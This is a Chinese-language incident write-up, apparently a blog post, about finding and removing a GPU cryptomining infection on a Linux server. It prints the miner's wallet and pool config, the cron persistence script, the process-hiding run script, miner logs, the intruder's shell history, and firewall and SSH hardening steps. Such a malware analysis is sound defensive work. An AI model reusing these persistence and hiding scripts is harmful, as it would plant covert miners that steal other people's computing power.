可以看到root用户将GPU的核心跑满了每个占用都是100%,显存吃了6G多。
总结:
amdmemtweak: 优化显存时序,提高挖矿效能
config.ini: 挖矿配置文件
doos.pid: 挖矿进程的pid号
logs: 挖矿病毒的输出log
nanominer: 3.7.7-linux版本的挖矿病毒,这个不能跑
python: 伪装从python的3.7.7-cuda11-linux版本的挖矿病毒,这个可以跑
null: 执行Python.cfg文件
Python.cfg: 病毒运行的关键shell命令,设置定时任务,执行挖矿病毒程序
run: 调用top运行挖矿病毒python并伪装,隐藏输出信息
top: 就是ubuntu系统管理查看进程的命令
运行顺序为:
null>Python.cfg>run
nul调用Python.cfg shell命令脚本, Python.cfg脚本
文件内容:配置文件
[Octopus]
wallet=cfx:aamfcswc60uxxygmpujpj5cbkjtxwh1m0e3zcv95fe
coin=CFX
rigName=E1
pool1 = 10.115.10.129:5353
email=[email protected]
文件内容:病毒的shell命令
#!/bin/sh
pwd > new.dir
dir=$(cat new.dir)
echo "* * * * * $dir/nano.backup >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep nano.backup
echo "#!/bin/sh
if test -r $dir/doos.pid; then
pid=\$(cat $dir/doos.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > nano.backup
chmod u+x nano.backup
./run
这些命令的大概作用是:
- pwd > new.dir :将当前目录的路径写入到 new.dir 文件中。
- dir=$(cat new.dir) :读取 new.dir 文件的内容,将其保存为 dir 变量。
- echo “* * * * * $dir/nano.backup >/dev/null 2>&1” > cron.d :将一个cron任务的设置写入到 cron.d 文件中,该任务会每分钟执行 nano.backup 脚本文件,其中标准输出和标准错误输出都被重定向到 /dev/null 中。
- crontab cron.d :将 cron.d 文件导入到cron中,即将新的cron任务加入到系统中。
- crontab -l | grep nano.backup :查看cron任务列表,确认 nano.backup 脚本已经加入到了cron中。
- echo "#!/bin/sh… :将一段shell脚本保存成 nano.backup 脚本文件,这段脚本会根据指定的pid文件和路径信息执行 run 脚本,并将标准输出和标准错误输出都重定向到 /dev/null 。
- 检查pid文件是否存在并且可读( test -r $dir/doos.pid ),如果存在则将pid文件中的进程号读取出来( pid=$(cat $dir/doos.pid) )。
- 判断读取的进程号是否存在( if $(kill -CHLD $pid >/dev/null 2>&1) ),如果存在则向该进程发送 SIGCHLD 信号(通过 kill 命令实现),然后退出脚本( exit 0 )。
- 如果上述判断失败,则进入到 $dir 目录中( cd $dir ),并执行 run 脚本( ./run ),将标准输出和标准错误输出都重定向到 /dev/null 中( &>/dev/null )。
具体来看,这段脚本的作用是检测应用程序是否已经在运行,如果已经在运行,则不会重启程序;如果未运行,则重启程序。该脚本通过读取 $dir/doos.pid 文件中的进程号,然后向该进程发送 SIGCHLD 信号,如果发送成功,则说明该进程存在,已经在运行中,此时脚本会直接退出。反之,则认为该进程不存在,需要启动应用程序。最后,该脚本还将标准输出和标准错误输出都重定向到 /dev/null 中,以屏蔽应用程序的输出信息。
- chmod u+x nano.backup :将 nano.backup 文件设置为可执行文件。
- ./run :执行 run 脚本,启动应用程序。
#!/bin/bash
ARCH=`uname -m`
HIDE="python"
./top -s $HIDE ./python >>/dev/null &
echo $! > doos.pid
- 获取当前系统的机器架构,并将其保存在 ARCH 变量中。
- 设置一个 HIDE 变量,其值为 python ,表示需要隐藏执行 ./python 命令的输出。
- 使用 ./top 命令启动 ./python 进程,并将标准输出重定向到 /dev/null 中。命令中的 & 表示将进程放到后台运行。
- 将 ./python 进程的进程ID保存到 doos.pid 文件中, $! 表示获取最近一个在后台运行的进程的进程ID。这个文件的作用应该是用于后续检查应用程序是否已经在运行中
这个nanominer反而不能跑成功,提示
2023-May-18 18:48:36: This is the wrong version of nanominer for device #0.
Need to download the 3.7.7-cuda11 version to work on device #0.
_ __ __ _ _ __ ___ _ __ ___ (_)_ __ ___ _ __
| '_ \ / _` | '_ \ / _ \| '_ ` _ \| | '_ \ / _ \ '__|
| | | | (_| | | | | (_) | | | | | | | | | | __/ |
|_| |_|\__,_|_| |_|\___/|_| |_| |_|_|_| |_|\___|_|
Version 3.7.7-linux
2023-May-18 18:48:30: Started EthMan server on port 3333 without a password (read-only mode).
2023-May-18 18:48:30: Started web interface on port 9090 without a password.
2023-May-18 18:48:30: CUDA driver version is 11.7, runtime version is 10.0
2023-May-18 18:48:30: NVIDIA driver version: 515.48.07
Detected 8 devices
GPU 0 PCI 1a:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 1 PCI 1b:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 2 PCI 3d:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 3 PCI 3e:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 4 PCI 88:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 5 PCI 89:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 6 PCI b1:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 7 PCI b2:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
------------------Octopus:------------------
Currency: Conflux
Wallet: cfx:aamfcswc60uxxygmpujpj5cbkjtxwh1m0e3zcv95fe
Rig name: E1
Email: [email protected]
Hashrate threshold to restart miner is not set
Number of rejected shares per hour to restart miner is not set
Added pool: 10.115.10.129:5353
Auto pool sorting is disabled
Using all GPU devices
-------------Common parameters:-------------
Log path: ./logs/
Log is written to file
GPU watchdog is enabled
Never calling reboot.sh (always restarting the miner in case of errors).
2023-May-18 18:48:31: Setting up algorithm: Octopus
2023-May-18 18:48:36: This is the wrong version of nanominer for device #0.
Need to download the 3.7.7-cuda11 version to work on device #0.
2023-May-18 18:48:41: This is the wrong version of nanominer for device #1.
Need to download the 3.7.7-cuda11 version to work on device #1.
2023-May-18 18:48:46: This is the wrong version of nanominer for device #2.
Need to download the 3.7.7-cuda11 version to work on device #2.
2023-May-18 18:48:51: This is the wrong version of nanominer for device #3.
Need to download the 3.7.7-cuda11 version to work on device #3.
2023-May-18 18:48:56: This is the wrong version of nanominer for device #4.
Need to download the 3.7.7-cuda11 version to work on device #4.
2023-May-18 18:49:01: This is the wrong version of nanominer for device #5.
Need to download the 3.7.7-cuda11 version to work on device #5.
2023-May-18 18:49:06: This is the wrong version of nanominer for device #6.
Need to download the 3.7.7-cuda11 version to work on device #6.
2023-May-18 18:49:11: This is the wrong version of nanominer for device #7.
Need to download the 3.7.7-cuda11 version to work on device #7.
2023-May-18 18:49:11: Connecting to pools...
2023-May-18 18:49:11: No GPU devices to run on, exiting.
这个python其实才是真正挖矿的程序
_ __ __ _ _ __ ___ _ __ ___ (_)_ __ ___ _ __
| '_ \ / _` | '_ \ / _ \| '_ ` _ \| | '_ \ / _ \ '__|
| | | | (_| | | | | (_) | | | | | | | | | | __/ |
|_| |_|\__,_|_| |_|\___/|_| |_| |_|_|_| |_|\___|_|
Version 3.7.7-cuda11-linux
2023-May-18 18:53:08: Started EthMan server on port 3333 without a password (read-only mode).
2023-May-18 18:53:08: Started web interface on port 9090 without a password.
2023-May-18 18:53:08: CUDA driver version is 11.7, runtime version is 11.1
2023-May-18 18:53:08: NVIDIA driver version: 515.48.07
Detected 8 devices
GPU 0 PCI 1a:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 1 PCI 1b:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 2 PCI 3d:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 3 PCI 3e:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 4 PCI 88:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 5 PCI 89:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 6 PCI b1:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 7 PCI b2:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
------------------Octopus:------------------
Currency: Conflux
Wallet: cfx:aamfcswc60uxxygmpujpj5cbkjtxwh1m0e3zcv95fe
Rig name: E1
Email: [email protected]
Hashrate threshold to restart miner is not set
Number of rejected shares per hour to restart miner is not set
Added pool: 10.115.10.129:5353
Auto pool sorting is disabled
Using all GPU devices
-------------Common parameters:-------------
Log path: ./logs/
Log is written to file
GPU watchdog is enabled
Never calling reboot.sh (always restarting the miner in case of errors).
2023-May-18 18:53:08: Setting up algorithm: Octopus
2023-May-18 18:53:09: Connecting to pools...
2023-May-18 18:53:10: Connected to pool: 10.115.10.129:5353
2023-May-18 18:53:11: New job from 10.115.10.129:5353 | share difficulty = 2 GH, epoch 136 (6271 MB)
2023-May-18 18:53:11: New job from 10.115.10.129:5353
2023-May-18 18:53:12: New job from 10.115.10.129:5353
2023-May-18 18:53:13: New job from 10.115.10.129:5353
2023-May-18 18:53:14: New job from 10.115.10.129:5353
2023-May-18 18:53:15: New job from 10.115.10.129:5353
2023-May-18 18:53:15: GPU7: 6271 MB DAG generated in 2.86 seconds
2023-May-18 18:53:15: GPU2: 6271 MB DAG generated in 2.85 seconds
2023-May-18 18:53:15: GPU6: 6271 MB DAG generated in 2.88 seconds
2023-May-18 18:53:15: GPU4: 6271 MB DAG generated in 2.86 seconds
2023-May-18 18:53:15: GPU3: 6271 MB DAG generated in 2.86 seconds
2023-May-18 18:53:15: GPU0: 6271 MB DAG generated in 2.86 seconds
2023-May-18 18:53:15: GPU5: 6271 MB DAG generated in 2.85 seconds
2023-May-18 18:53:15: GPU1: 6271 MB DAG generated in 2.85 seconds
2023-May-18 18:53:15: New job from 10.115.10.129:5353
2023-May-18 18:53:15: New job from 10.115.10.129:5353
2023-May-18 18:53:17: New job from 10.115.10.129:5353
2023-May-18 18:53:17: New job from 10.115.10.129:5353
2023-May-18 18:53:18: New job from 10.115.10.129:5353
2023-May-18 18:53:20: New job from 10.115.10.129:5353
2023-May-18 18:53:22: New job from 10.115.10.129:5353
2023-May-18 18:53:22: New job from 10.115.10.129:5353
2023-May-18 18:53:23: Conflux - SHARE FOUND (GPU: 5, nonce: 0xcf49525435089c3e).
2023-May-18 18:53:23: New job from 10.115.10.129:5353
Conflux: share accepted (433 ms)!
2023-May-18 18:53:23: Conflux - SHARE FOUND (GPU: 2, nonce: 0xcc4ac5380181a83b).
Conflux: share accepted (480 ms)!
2023-May-18 18:53:25: New job from 10.115.10.129:5353
2023-May-18 18:53:25: Conflux - SHARE FOUND (GPU: 7, nonce: 0x3e7b767456ac78fd).
Conflux: share accepted (478 ms)!
2023-May-18 18:53:27: Conflux - SHARE FOUND (GPU: 1, nonce: 0x744adc98b65cbe5a).
2023-May-18 18:53:27: New job from 10.115.10.129:5353
Conflux: share accepted (467 ms)!
2023-May-18 18:53:27: Conflux - SHARE FOUND (GPU: 4, nonce: 0x497dd46efd87caba).
Conflux: share accepted (461 ms)!
2023-May-18 18:53:28: New job from 10.115.10.129:5353
2023-May-18 18:53:30: New job from 10.115.10.129:5353
2023-May-18 18:53:30: New job from 10.115.10.129:5353
2023-May-18 18:53:30: New job from 10.115.10.129:5353
2023-May-18 18:53:31: New job from 10.115.10.129:5353
2023-May-18 18:53:31: New job from 10.115.10.129:5353
2023-May-18 18:53:31: New job from 10.115.10.129:5353
2023-May-18 18:53:32: New job from 10.115.10.129:5353
2023-May-18 18:53:32: New job from 10.115.10.129:5353
2023-May-18 18:53:33: New job from 10.115.10.129:5353
2023-May-18 18:53:33: New job from 10.115.10.129:5353
2023-May-18 18:53:35: Conflux - SHARE FOUND (GPU: 5, nonce: 0xab25c4cdb489e49f).
Conflux: share accepted (442 ms)!
2023-May-18 18:53:37: New job from 10.115.10.129:5353
2023-May-18 18:53:37: New job from 10.115.10.129:5353
2023-May-18 18:53:38: New job from 10.115.10.129:5353
Conflux - Total speed: 695.137 MH/s, Total shares: 6 Rejected: 0, Time: 00:30
Conflux: GPU 0 89.900 MH/s, GPU 1 87.289 MH/s, GPU 2 88.755 MH/s, GPU 3 86.367 MH/s, GPU 4 83.192 MH/s, GPU 5 88.340 MH/s, GPU 6 84.940 MH/s, GPU 7 86.353 MH/s
GPU0 t=54°C fan 31% power 340.16W, GPU1 t=55°C fan 32% power 340.58W, GPU2 t=49°C fan 30% power 341.03W, GPU3 t=53°C fan 31% power 331.94W, GPU4 t=48°C fan 30% power 322.81W, GPU5 t=56°C fan 32% power 343.67W, GPU6 t=52°C fan 31% power 341.52W, GPU7 t=53°C fan 31% power 343.03W. Total power: 2704.74W
作用:优化显存时序,提高挖矿效能
参考:专注AMD显卡显存超频:爱好者自制 AMD Memory Tweak 软件
AMD Memory Tweak
Read and modify memory timings on the fly
By Eliovp & A.Solodovnikov
Global command line options:
--help|--h Show this output
--version|--v Show version info
--gpu|--i [comma-separated gpu indices] Selected device(s)
--current|--c List current timing values
Command line options: (HBM2)
--CL|--cl [value]
--RAS|--ras [value]
--RCDRD|--rcdrd [value]
--RCDWR|--rcdwr [value]
--RC|--rc [value]
--RP|--rp [value]
--RRDS|--rrds [value]
--RRDL|--rrdl [value]
--RTP|--rtp [value]
--FAW|--faw [value]
--CWL|--cwl [value]
--WTRS|--wtrs [value]
--WTRL|--wtrl [value]
--WR|--wr [value]
--RREFD|--rrefd [value]
--RDRDDD|--rdrddd [value]
--RDRDSD|--rdrdsd [value]
--RDRDSC|--rdrdsc [value]
--RDRDSCL|--rdrdscl [value]
--WRWRDD|--wrwrdd [value]
--WRWRSD|--wrwrsd [value]
--WRWRSC|--wrwrsc [value]
--WRWRSCL|--wrwrscl [value]
--WRRD|--wrrd [value]
--RDWR|--rdwr [value]
--REF|--ref [value]
--MRD|--mrd [value]
--MOD|--mod [value]
--XS|--xs [value]
--XSMRS|--xsmrs [value]
--PD|--pd [value]
--CKSRE|--cksre [value]
--CKSRX|--cksrx [value]
--RFCPB|--rfcpb [value]
--STAG|--stag [value]
--XP|--xp [value]
--CPDED|--cpded [value]
--CKE|--cke [value]
--RDDATA|--rddata [value]
--WRLAT|--wrlat [value]
--RDLAT|--rdlat [value]
--WRDATA|--wrdata [value]
--CKESTAG|--ckestag [value]
--RFC|--rfc [value]
Command line options: (HBM)
--DAT_DLY0|1|2|3 | --dat_dly0|1|2|3 [value]
--DQS_DLY0|1|2|3 | --dqs_dly0|1|2|3 [value]
--DQS_XTR0|1|2|3 | --dqs_xtr0|1|2|3 [value]
--OEN_DLY0|1|2|3 | --oen_dly0|1|2|3 [value]
--OEN_EXT0|1|2|3 | --oen_ext0|1|2|3 [value]
--OEN_SEL0|1|2|3 | --oen_sel0|1|2|3 [value]
--CMD_DLY0|1|2|3 | --cmd_dly0|1|2|3 [value]
--ADR_DLY0|1|2|3 | --adr_dly0|1|2|3 [value]
--CKSRE|--cksre [value]
--CKSRX|--cksrx [value]
--CKE_PULSE|--cke_pulse [value]
--CKE|--cke [value]
--SEQ_IDLE|--seq_idle [value]
--CL|--cl [value]
--W2R|--w2r [value]
--R2R|--r2r [value]
--CCDL|--ccdl [value]
--R2W|--r2w [value]
--NOPR|--nopr [value]
--NOPW|--nopw [value]
--RCDW|--rcdw [value]
--RCDWA|--rcdwa [value]
--RCDR|--rcdr [value]
--RCDRA|--rcdra [value]
--RRD|--rrd [value]
--RC|--rc [value]
--MRD|--mrd [value]
--RRDL|--rrdl [value]
--RFC|--rfc [value]
--TRP|--trp [value]
--RP_WRA|--rp_wra [value]
--RP_RDA|--rp_rda [value]
--WDATATR|--wdatatr [value]
--T32AW|--t32aw [value]
--CRCWL|--crcwl [value]
--CRCRL|--crcrl [value]
--FAW|--faw [value]
--PA2WDATA|--pa2wdata [value]
--PA2RDATA|--pa2rdata [value]
--DBR|--dbr [value]
--DBW|--dbw [value]
--TCSR|--tcsr [value]
--DQR|--dqr [value]
--DQW|--dqw [value]
--ADD_PAR|--add_par [value]
--TM|--tm [value]
--WR|--wr [value]
--NDS|--nds [value]
--WL|--wl [value]
--RL|--rl [value]
--APRAS|--apras [value]
--BG|--bg [value]
--BL|--bl [value]
--REF|--ref [value]
--ENB|--enb [value]
--CNT|--cnt [value]
--TRC|--trc [value]
--THRESH|--thresh [value]
--LEVEL|--level [value]
--PWRDOWN|--pwrdown [value]
--SHUTDOWN|--shutdown [value]
--EN_SHUTDOWN|--en_shutdown [value]
--OVERSAMPLE|--oversample [value]
--AVG_SAMPLE|--avg_sample [value]
Command line options: (GDDR5)
--DAT_DLY0|1 | --dat_dly0|1 [value]
--DQS_DLY0|1 | --dqs_dly0|1 [value]
--DQS_XTR0|1 | --dqs_xtr0|1 [value]
--DAT_2Y_DLY0|1 | --dat_2y_dly0|1 [value]
--ADR_2Y_DLY0|1 | --adr_2y_dly0|1 [value]
--CMD_2Y_DLY0|1 | --cmd_2y_dly0|1 [value]
--OEN_DLY0|1 | --oen_dly0|1 [value]
--OEN_EXT0|1 | --oen_ext0|1 [value]
--OEN_SEL0|1 | --oen_sel0|1 [value]
--ODT_DLY0|1 | --odt_dly0|1 [value]
--ODT_EXT0|1 | --odt_ext0|1 [value]
--ADR_DLY0|1 | --adr_dly0|1 [value]
--CMD_DLY0|1 | --cmd_dly0|1 [value]
--CKSRE|--cksre [value]
--CKSRX|--cksrx [value]
--CKE_PULSE|--cke_pulse [value]
--CKE|--cke [value]
--SEQ_IDLE|--seq_idle [value]
--CL|--cl [value]
--W2R|--w2r [value]
--R2R|--r2r [value]
--CCDL|--ccdl [value]
--R2W|--r2w [value]
--NOPR|--nopr [value]
--NOPW|--nopw [value]
--RCDW|--rcdw [value]
--RCDWA|--rcdwa [value]
--RCDR|--rcdr [value]
--RCDRA|--rcdra [value]
--RRD|--rrd [value]
--RC|--rc [value]
--RFC|--rfc [value]
--TRP|--trp [value]
--RP_WRA|--rp_wra [value]
--RP_RDA|--rp_rda [value]
--WDATATR|--wdatatr [value]
--T32AW|--t32aw [value]
--CRCWL|--crcwl [value]
--CRCRL|--crcrl [value]
--FAW|--faw [value]
--PA2WDATA|--pa2wdata [value]
--PA2RDATA|--pa2rdata [value]
--WL|--wl [value]
--MR0_CL|--mr0_cl [value]
--TM|--tm [value]
--WR|--wr [value]
--DS|--ds [value]
--DT|--dt [value]
--ADR|--adr [value]
--CAL|--cal [value]
--PLL|--pll [value]
--RDBI|--rdbi [value]
--WDBI|--wdbi [value]
--ABI|--abi [value]
--RESET|--reset [value]
--SR|--sr [value]
--WCK01|--wck01 [value]
--WCK23|--wck23 [value]
--WCK2CK|--wck2ck [value]
--RDQS|--rdqs [value]
--INFO|--info [value]
--WCK2|--wck2 [value]
--BG|--bg [value]
--EDCHP|--edchp [value]
--CRCWL|--crcwl [value]
--CRCRL|--crcrl [value]
--RDCRC|--rdcrc [value]
--WRCRC|--wrcrc [value]
--EDC|--edc [value]
--RAS|--ras [value]
--CLEHF|--clehf [value]
--WREHF|--wrehf [value]
--ACTRD|--actrd [value]
--ACTWR|--actwr [value]
--RASMACTRD|--rasmactrd [value]
--RASMACWTR|--rasmacwtr [value]
--RAS2RAS|--ras2ras [value]
--RP|--rp [value]
--WRPLUSRP|--wrplusrp [value]
--BUS_TURN|--bus_turn [value]
--REF|--ref [value]
--TWT2RT|--twt2rt [value]
--TARF2T|--tarf2t [value]
--TT2ROW|--tt2row [value]
--TLD2LD|--tld2ld [value]
HBM2 Example usage: ./amdmemtool --i 0,3,5 --faw 12 --RFC 208
HBM Example usage: ./amdmemtool --i 6 --ref 13
GDDR5 Example usage: ./amdmemtool --i 1,2,4 --RFC 43 --ras2ras 176
Make sure to run the program first with parameter --current to see what the current values are.
Current values may change based on state of the GPU,
in other words, make sure the GPU is under load when running --current
HBM2 Based GPU's do not need to be under load to apply timing changes.
Hint: Certain timings such as CL (Cas Latency) are stability timings, lowering these will lower stability.
cd /tmp/.x
ll
发现是root在2:00创建的
last
果然是有一系列IP以root身份登录系统,其中2:00登录的10.115.10.129和挖矿病毒log里的IP也对的上(New job from 10.115.10.129:5353)
sudo rm -r /tmp/.x
sudo passwd root
sudo vim /etc/ssh/sshd_config
# 设置: PermitRootLogin no
# 重启生效
service sshd restart
iptables -A INPUT -p tcp --dport 80 -j DROP
iptables -A INPUT -p tcp --dport 5053 -j DROP
iptables -I INPUT -s 10.115.10.129 -j DROP
sudo iptables-save
UFW (Uncomplicated Firewall)是Ubuntu 自带的防火墙配置工具 。UFW 是一个用来管理 iptables 防火墙规则的用户友好的前端工具。它的主要目的就是为了使得管理 iptables 更简单。
Ubuntu安装完毕,默认没有启动ufw。所以如果直接运行上述语句,那么它启动后就会使用默认规则,禁止一切流量,包括SSH的22端口,如果本来就是在SSH上远程操作,那么悲剧了,所以要先启用SSH的端口(默认是22,如果你设置了其他端口就加上去)
sudo ufw allow 22
sudo ufw reject 80 #(拒绝,直接返回:Connection refused)
sudo ufw deny 5053 #(否认,过段时间后返回:Connection timed out)
sudo ufw enable
sudo ufw status
参考:
Linux下iptables屏蔽IP和端口号
如何在 Ubuntu 20.04 上使用 UFW 来设置防火墙
Ubuntu 18.04 防火墙设置ufw详解
Ubuntu自带防火墙ufw配置和用法
crontab -l
crontab -l -u username #查看某个用户的定时任务
crontab -r
只修改root密码后发现这B又改用amax登录
在amax用户目录发现以下文件
查看bash_history,这B执行的命令,因为amax用户密码是初始密码,所以这B可以用sudo su输入amax密码就能切换到root用户,真该死啊。但这么看下来,这个病毒操纵者的操作也蛮常规,还是得用已知的密码登录到服务器才行。那我把密码改了,甚至禁用密码登录,我看你怎么办,该死的畜生啊。
sudo su
w
ls
nv
cd /tmp
cd .x
ls
ls -a
tar xzvf x
cd .x
ls
./python
w
ls
nv
cd /tmp
cd .x
ls
w
sudo su
tar xzvf x
原来tmp目录里还有一个压缩包: x
解压一下正是病毒工作目录
把它也删除了
sudo rm -r x
删除amax用户
sudo userdel amax
amax有进程在跑,就直接kill了
参考链接:【Linux】ubuntu设置ssh密钥登录详细教程,附Mobaxterm和pycharm ssh python解释器配置教程